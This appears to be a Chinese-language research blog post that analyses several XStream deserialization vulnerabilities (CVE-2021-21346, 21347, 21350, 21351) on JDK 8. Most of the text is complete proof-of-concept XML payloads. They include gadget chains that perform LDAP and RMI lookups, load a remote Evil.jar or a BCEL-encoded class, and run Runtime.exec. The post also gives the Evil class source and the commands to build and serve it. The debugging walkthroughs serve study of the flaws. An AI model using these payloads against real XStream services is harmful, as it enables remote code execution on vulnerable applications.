<int > 3</int > <string > javax.xml.ws.binding.attachments.inbound</string > <string > javax.xml.ws.binding.attachments.inbound</string > </java.util.PriorityQueue > </java.util.PriorityQueue >
调试:
前半部分还是一样,一样是到了get方法去invoke,invoke的目标方法就是
我们直接去com.sun.corba.se.impl.activation.ServerTableEntry
的verify
方法打上断点好了,跟到verify:
直接触发了Runtime.getRuntime().exec("open /Applications/Calculator.app");
CVE_2021_21346 XStream:1.4.15
漏洞成因 师兄wh1t3p1g提交的,利用的是ldap恶意reference
PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 <sorted-set > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='javax.swing.MultiUIDefaults' serialization ='custom' > <unserializable-parents /> <hashtable > <default > <loadFactor > 0.75</loadFactor > <threshold > 525</threshold > </default > <int > 700</int > <int > 0</int > </hashtable > <javax.swing.UIDefaults > <default > <defaultLocale > zh_CN</defaultLocale > <resourceCache /> </default > </javax.swing.UIDefaults > <javax.swing.MultiUIDefaults > <default > <tables > <javax.swing.UIDefaults serialization ='custom' > <unserializable-parents /> <hashtable > <default > <loadFactor > 0.75</loadFactor > <threshold > 525</threshold > </default > <int > 700</int > <int > 1</int > <string > lazyValue</string > <sun.swing.SwingLazyValue > <className > javax.naming.InitialContext</className > <methodName > doLookup</methodName > <args > <string > ldap://localhost:1099/CallRemoteMethod</string > </args > </sun.swing.SwingLazyValue > </hashtable > <javax.swing.UIDefaults > <default > <defaultLocale reference ='../../../../../../../javax.swing.UIDefaults/default/defaultLocale' /> <resourceCache /> </default > </javax.swing.UIDefaults > </javax.swing.UIDefaults > </tables > </default > </javax.swing.MultiUIDefaults > </value > </javax.naming.ldap.Rdn_-RdnEntry > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XString' > <m__obj class ='string' > test</m__obj > </value > </javax.naming.ldap.Rdn_-RdnEntry > </sorted-set >
调试:
利用的是LazyValue
关键调用链:
1 2 3 4 5 6 7 8 javax.naming.ldap.Rdn$RdnEntry.compareTo com.sun.org.apache.xpath.internal.objects.XString.equals javax.swing.MultiUIDefaults.toString UIDefaults.get UIDefaults.getFromHashTable UIDefaults$LazyValue.createValue SwingLazyValue.createValue javax.naming.InitialContext.doLookup()
在createValue
里面出现了invoke,也是一个关键的节点,invoke了构造好的javax.naming.InitialContext.doLookup()
方法
doLookUp
对恶意类的reference进行了调用,漏洞触发。
CVE_2021_21347 XStream:1.4.15
jdk: 8u231
漏洞成因 远程类加载,类实例化执行静态代码块
PoC 来自官网:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > <comparator class ='javafx.collections.ObservableList$1' /> </default > <int > 3</int > <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator' > <iterator class ='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator' > <names class ='java.util.AbstractList$Itr' > <cursor > 0</cursor > <lastRet > -1</lastRet > <expectedModCount > 0</expectedModCount > <outer-class class ='java.util.Arrays$ArrayList' > <a class ='string-array' > <string > Evil</string > </a > </outer-class > </names > <processorCL class ='java.net.URLClassLoader' > <ucp class ='sun.misc.URLClassPath' > <urls serialization ='custom' > <unserializable-parents /> <vector > <default > <capacityIncrement > 0</capacityIncrement > <elementCount > 1</elementCount > <elementData > <url > http://127.0.0.1:8000/Evil.jar</url > </elementData > </default > </vector > </urls > <path > <url > http://127.0.0.1:8000/Evil.jar</url > </path > <loaders /> <lmap /> </ucp > <package2certs class ='concurrent-hash-map' /> <classes /> <defaultDomain > <classloader class ='java.net.URLClassLoader' reference ='../..' /> <principals /> <hasAllPerm > false</hasAllPerm > <staticPermissions > false</staticPermissions > <key > <outer-class reference ='../..' /> </key > </defaultDomain > <initialized > true</initialized > <pdcache /> </processorCL > </iterator > <type > KEYS</type > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > -2147483648</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data > <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference ='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' /> </java.util.PriorityQueue > </java.util.PriorityQueue >
复现:
我们在本地编写Evil.class打包成同名jar包:
1 2 3 4 5 6 7 8 9 public class Evil { static { try { Runtime.getRuntime().exec("open /Applications/Calculator.app" ); }catch (Exception e){ e.printStackTrace(); } } }
打包+打开Web服务8000端口:
1 2 3 javac Evil.class jar cvf Evil .jar Evil .class python -m SimpleHTTPServer 8000
调试:
threedr3am说他在8u131版本可以复现,实际上144应该也可以
首先PoC里面有一点比较特殊,用到了ObservableList$1
这个匿名内部类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public interface ObservableList <E > extends List <E >, Observable { ... public default SortedList<E> sorted () { Comparator naturalOrder = new Comparator<E>() { @Override public int compare (E o1, E o2) { if (o1 == null && o2 == null ) { return 0 ; } if (o1 == null ) { return -1 ; } if (o2 == null ) { return 1 ; } if (o1 instanceof Comparable) { return ((Comparable) o1).compareTo(o2); } return Collator.getInstance().compare(o1.toString(), o2.toString()); } }; return sorted(naturalOrder); } }
这里其实new Comparator<E>
就是一个匿名内部类
接下来和404SecTeam遇到了一样的坑点,在:
1 2 3 4 5 6 7 8 9 <defaultDomain > <classloader class ='java.net.URLClassLoader' reference ='../..' /> <principals /> <hasAllPerm > false</hasAllPerm > <staticPermissions > false</staticPermissions > <key > <outer-class reference ='../..' /> </key > </defaultDomain >
在<outer-class>
标签处会报错,报错的原因是反序列化的时候找不到这个outer-class属性。
来到对应的类也就是ProtectionDomain$Key
这个类中查看一下
1 2 3 4 /** * Used for storing ProtectionDomains as keys in a Map. */ static final class Key {}
本地复现一下404的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 class Foo { private String foocontent; private Bar bar; public String getFoocontent () { return foocontent; } public void setFoocontent (String foocontent) { this .foocontent = foocontent; } public Bar getBar () { return bar; } public void setBar (Bar bar) { this .bar = bar; } class Bar { private String blabla; public String getBlabla () { return blabla; } public void setBlabla (String blabla) { this .blabla = blabla; } } public static void main (String[] args) { Foo foo = new Foo(); Bar bar = foo.new Bar(); bar.setBlabla("hello" ); foo.setBar(bar); XStream xstream = new XStream(); String xml = xstream.toXML(foo); System.out.println(xml); } }
Foo类中有一个内部类Bar,并且Foo类中有一个Bar类型的属性
如果我们在实例化的过程中给bar属性赋值,foo.setBar(foo.new Bar())
,引用自身成员内部类,这种情况XStream会使用<outer-class>
标识来标注。
PoC这里表示的意思是Key作为一个成员内部类被ProtectionDomain引用,但是在jdk1.8.131中ProtectionDomain$Key是一个静态内部类呀,静态内部类XStream序列化的时候是不会通过<outer-class>标签进行标识的
静态成员类 在Java语言中,类内部可以生明另一个类:
1 2 3 4 5 6 7 8 9 10 public class OuterClass { private static class StaticInnerClass { } private class NoStaticInnerClass { } }
内部类可以分为:
静态内部类 :
非静态内部类 :内部包含一个this$0
变量指向外部类
所以当然可以利用反射来操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class OuterClass { public static void main (String[] args) { Field[] declaredFields = NoStaticInnerClass.class .getDeclaredFields () ; Stream.of(declaredFields).forEach(System.out::println); } public class NoStaticInnerClass { } public static class StaticInnerClass { } }
在非静态内部类中,我们可以任意使用OuterClass.this来获取外部类实例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class OuterClass { public static void main (String[] args) { NoStaticInnerClass noStaticInnerClass = new OuterClass().new NoStaticInnerClass(); System.out.println(noStaticInnerClass.getOuterClass()); } public class NoStaticInnerClass { public OuterClass getOuterClass () { return OuterClass.this ; } } public static class StaticInnerClass { } }
在8u231环境下做实验:
回到之前的说的,用到了ObservableList$1
这个匿名内部类,实际上就是Collator.getInstance()
接下来调用了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public default SortedList<E> sorted () { Comparator naturalOrder = new Comparator<E>() { @Override public int compare (E o1, E o2) { if (o1 == null && o2 == null ) { return 0 ; } if (o1 == null ) { return -1 ; } if (o2 == null ) { return 1 ; } if (o1 instanceof Comparable) { return ((Comparable) o1).compareTo(o2); } return Collator.getInstance().compare(o1.toString(), o2.toString()); } }; return sorted(naturalOrder); }
这里 o1和o2是同一个Base64Data对象,目的调用Base64Data.toString方法,toString方法中调用了Base64Data.get方法,在get方法中调用了ByteArrayOutputStreamEx.readFrom()方法,传入的参数is是一个SequenceInputStream对象
此时Base64Data对象:
接下来经过一系列调用,会来到nextStream()
方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 final void nextStream () throws IOException { if (in != null ) { in.close(); } if (e.hasMoreElements()) { in = (InputStream) e.nextElement(); if (in == null ) throw new NullPointerException(); } else in = null ; }
这里会考虑e属性的值,在判断的时候其实会来到hasNext()
方法,这里会根据processorCL
的内容进行对象的实例化
这里对应PoC中的写法就是:
CVE_2021_21350 XStream:1.4.15
jdk: 8u231
漏洞成因 和CVE-2021-21347类似,这是把远程jar改为了BCEL方式加载
PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > <comparator class ='javafx.collections.ObservableList$1' /> </default > <int > 3</int > <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator' > <iterator class ='com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator' > <names class ='java.util.AbstractList$Itr' > <cursor > 0</cursor > <lastRet > -1</lastRet > <expectedModCount > 0</expectedModCount > <outer-class class ='java.util.Arrays$ArrayList' > <a class ='string-array' > <string > $$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$ddN$c20$Y$3d$85$c9$60$O$e5G$fcW$f0J0Qn$bc$c3$Y$T$83$89$c9$oF$M$5e$97$d9$60$c9X$c9$d6$R$5e$cb$h5$5e$f8$A$3e$94$f1$x$g$q$b1MwrN$cf$f9$be$b6$fb$fcz$ff$Ap$8a$aa$83$MJ$O$caX$cb$a2bp$dd$c6$86$8dM$86$cc$99$M$a5$3egH$d7$h$3d$G$ebR$3d$K$86UO$86$e2$s$Z$f5Et$cf$fb$B$v$rO$f9$3c$e8$f1H$g$fe$xZ$faI$c6T$c3kOd$d0bp$daS_$8c$b5Talc$8bxW$r$91$_$ae$a41$e7$8c$e9d$c8$t$dc$85$8d$ac$8dm$X$3b$d8$a5$d2j$y$c2$da1$afQ$D$3f$J$b8V$91$8b$3d$ecS$7d$Ta$u$98P3$e0$e1$a0$d9$e9$P$85$af$Z$ca3I$aa$e6ug$de$93$a1$f8g$bcKB$zG$d4$d6$Z$I$3d$t$95z$c3$fb$e7$a1$83$5bb$w$7c$86$c3$fa$c2nWG2$i$b4$W$D$b7$91$f2E$i$b7p$80$rzQ3$YM$ba$NR$c8$R$bb$md$84$xG$af$60oH$95$d2$_$b0$k$9eII$c11$3a$d2$f4$cd$c2$ow$9e$94eb$eeO$820$3fC$d0$$$fd$BZ$85Y$ae$f8$N$93$85$cf$5c$c7$B$A$A</string > </a > </outer-class > </names > <processorCL class ='com.sun.org.apache.bcel.internal.util.ClassLoader' > <parent class ='sun.misc.Launcher$ExtClassLoader' > </parent > <package2certs class ='hashtable' /> <classes defined-in ='java.lang.ClassLoader' /> <defaultDomain > <classloader class ='com.sun.org.apache.bcel.internal.util.ClassLoader' reference ='../..' /> <principals /> <hasAllPerm > false</hasAllPerm > <staticPermissions > false</staticPermissions > <key > <outer-class reference ='../..' /> </key > </defaultDomain > <packages /> <nativeLibraries /> <assertionLock class ='com.sun.org.apache.bcel.internal.util.ClassLoader' reference ='..' /> <defaultAssertionStatus > false</defaultAssertionStatus > <classes /> <ignored__packages > <string > java.</string > <string > javax.</string > <string > sun.</string > </ignored__packages > <repository class ='com.sun.org.apache.bcel.internal.util.SyntheticRepository' > <__path > <paths /> <class__path > .</class__path > </__path > <__loadedClasses /> </repository > <deferTo class ='sun.misc.Launcher$ExtClassLoader' reference ='../parent' /> </processorCL > </iterator > <type > KEYS</type > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > 0</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data > <com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data reference ='../com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' /> </java.util.PriorityQueue > </java.util.PriorityQueue >
复现:
按照三梦师傅的Payload生成代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.IOException;import java.io.InputStream;public class Evil { public Evil () throws IOException { Runtime.getRuntime().exec("open -a calculator" ); } public static void main (String[] args) throws IOException { InputStream inputStream = Evil.class.getResourceAsStream("Evil.class"); byte [] bytes = new byte [inputStream.available()]; inputStream.read(bytes); String code = Utility.encode(bytes, true ); String bcel = "$$BCEL$$" + code; System.out.println(bcel); } }
调试:
加载恶意Class的Classloader不再使用URLClassloader去远程加载,而是采用了com.sun.org.apache.bcel.internal.util.ClassLoader,使用了BCEL的方式来进行恶意代码执行。
CVE_2021_21351 漏洞成因 JdbcRowSetImpl攻击
高版本 PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <sorted-set > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XRTreeFrag' > <m__DTMXRTreeFrag > <m__dtm class ='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM' > <m__size > -10086</m__size > <m__mgrDefault > <__overrideDefaultParser > false</__overrideDefaultParser > <m__incremental > false</m__incremental > <m__source__location > false</m__source__location > <m__dtms > <null /> </m__dtms > <m__defaultHandler /> </m__mgrDefault > <m__shouldStripWS > false</m__shouldStripWS > <m__indexing > false</m__indexing > <m__incrementalSAXSource class ='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces' > <fPullParserConfig class ='com.sun.rowset.JdbcRowSetImpl' serialization ='custom' > <javax.sql.rowset.BaseRowSet > <default > <concurrency > 1008</concurrency > <escapeProcessing > true</escapeProcessing > <fetchDir > 1000</fetchDir > <fetchSize > 0</fetchSize > <isolation > 2</isolation > <maxFieldSize > 0</maxFieldSize > <maxRows > 0</maxRows > <queryTimeout > 0</queryTimeout > <readOnly > true</readOnly > <rowSetType > 1004</rowSetType > <showDeleted > false</showDeleted > <dataSource > rmi://localhost:15000/CallRemoteMethod</dataSource > <listeners /> <params /> </default > </javax.sql.rowset.BaseRowSet > <com.sun.rowset.JdbcRowSetImpl > <default /> </com.sun.rowset.JdbcRowSetImpl > </fPullParserConfig > <fConfigSetInput > <class > com.sun.rowset.JdbcRowSetImpl</class > <name > setAutoCommit</name > <parameter-types > <class > boolean</class > </parameter-types > </fConfigSetInput > <fConfigParse reference ='../fConfigSetInput' /> <fParseInProgress > false</fParseInProgress > </m__incrementalSAXSource > <m__walker > <nextIsRaw > false</nextIsRaw > </m__walker > <m__endDocumentOccured > false</m__endDocumentOccured > <m__idAttributes /> <m__textPendingStart > -1</m__textPendingStart > <m__useSourceLocationProperty > false</m__useSourceLocationProperty > <m__pastFirstElement > false</m__pastFirstElement > </m__dtm > <m__dtmIdentity > 1</m__dtmIdentity > </m__DTMXRTreeFrag > <m__dtmRoot > 1</m__dtmRoot > <m__allowRelease > false</m__allowRelease > </value > </javax.naming.ldap.Rdn_-RdnEntry > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XString' > <m__obj class ='string' > test</m__obj > </value > </javax.naming.ldap.Rdn_-RdnEntry > </sorted-set >
低版本 PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <sorted-set > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XRTreeFrag' > <m__DTMXRTreeFrag > <m__dtm class ='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM' > <m__size > -10086</m__size > <m__mgrDefault > <__useServicesMechanism > false</__useServicesMechanism > <m__incremental > false</m__incremental > <m__source__location > false</m__source__location > <m__dtms > <null /> </m__dtms > <m__defaultHandler /> </m__mgrDefault > <m__shouldStripWS > false</m__shouldStripWS > <m__indexing > false</m__indexing > <m__incrementalSAXSource class ='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces' > <fPullParserConfig class ='com.sun.rowset.JdbcRowSetImpl' serialization ='custom' > <javax.sql.rowset.BaseRowSet > <default > <concurrency > 1008</concurrency > <escapeProcessing > true</escapeProcessing > <fetchDir > 1000</fetchDir > <fetchSize > 0</fetchSize > <isolation > 2</isolation > <maxFieldSize > 0</maxFieldSize > <maxRows > 0</maxRows > <queryTimeout > 0</queryTimeout > <readOnly > true</readOnly > <rowSetType > 1004</rowSetType > <showDeleted > false</showDeleted > <dataSource > rmi://localhost:15000/CallRemoteMethod</dataSource > <listeners /> <params /> </default > </javax.sql.rowset.BaseRowSet > <com.sun.rowset.JdbcRowSetImpl > <default /> </com.sun.rowset.JdbcRowSetImpl > </fPullParserConfig > <fConfigSetInput > <class > com.sun.rowset.JdbcRowSetImpl</class > <name > setAutoCommit</name > <parameter-types > <class > boolean</class > </parameter-types > </fConfigSetInput > <fConfigParse reference ='../fConfigSetInput' /> <fParseInProgress > false</fParseInProgress > </m__incrementalSAXSource > <m__walker > <nextIsRaw > false</nextIsRaw > </m__walker > <m__endDocumentOccured > false</m__endDocumentOccured > <m__idAttributes /> <m__textPendingStart > -1</m__textPendingStart > <m__useSourceLocationProperty > false</m__useSourceLocationProperty > <m__pastFirstElement > false</m__pastFirstElement > </m__dtm > <m__dtmIdentity > 1</m__dtmIdentity > </m__DTMXRTreeFrag > <m__dtmRoot > 1</m__dtmRoot > <m__allowRelease > false</m__allowRelease > </value > </javax.naming.ldap.Rdn_-RdnEntry > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XString' > <m__obj class ='string' > test</m__obj > </value > </javax.naming.ldap.Rdn_-RdnEntry > </sorted-set >
调试:
<sorted-set>
是最外层的对象,内部包含着两个javax.naming.ldap.Rdn$RdnEntry
成员。
那么在第二个RdnEntry
成员加入到sorted-set
的时候,会调用Rdn$RdnEntry.compareTo
方法
这里m_DTMXRTreeFrag.getDTM()
实际上获取SAX2DTM
对象,之后调用SAX2DTM#getStringvalue
方法:
来到nextNode()
方法:
该方法中调用了m_incrementalSAXSource
属性也就是POC中封装好的IncrementalSAXSource_Xerces
对象的deliverMoreNodes
方法。
接下来分别执行:IncrementalSAXSource_Xerces.java:312
来到IncrementalSAXSource_Xerces.parseSome
方法
其中这里fConfigParse
、fPullParserConfig
、parmsfalse
都可控,之后该方法会通过反射调用JdbcRowSetImpl.setAutoCommit方法,结合JdbcRowSetImpl攻击。
参考 XStream源码解析
1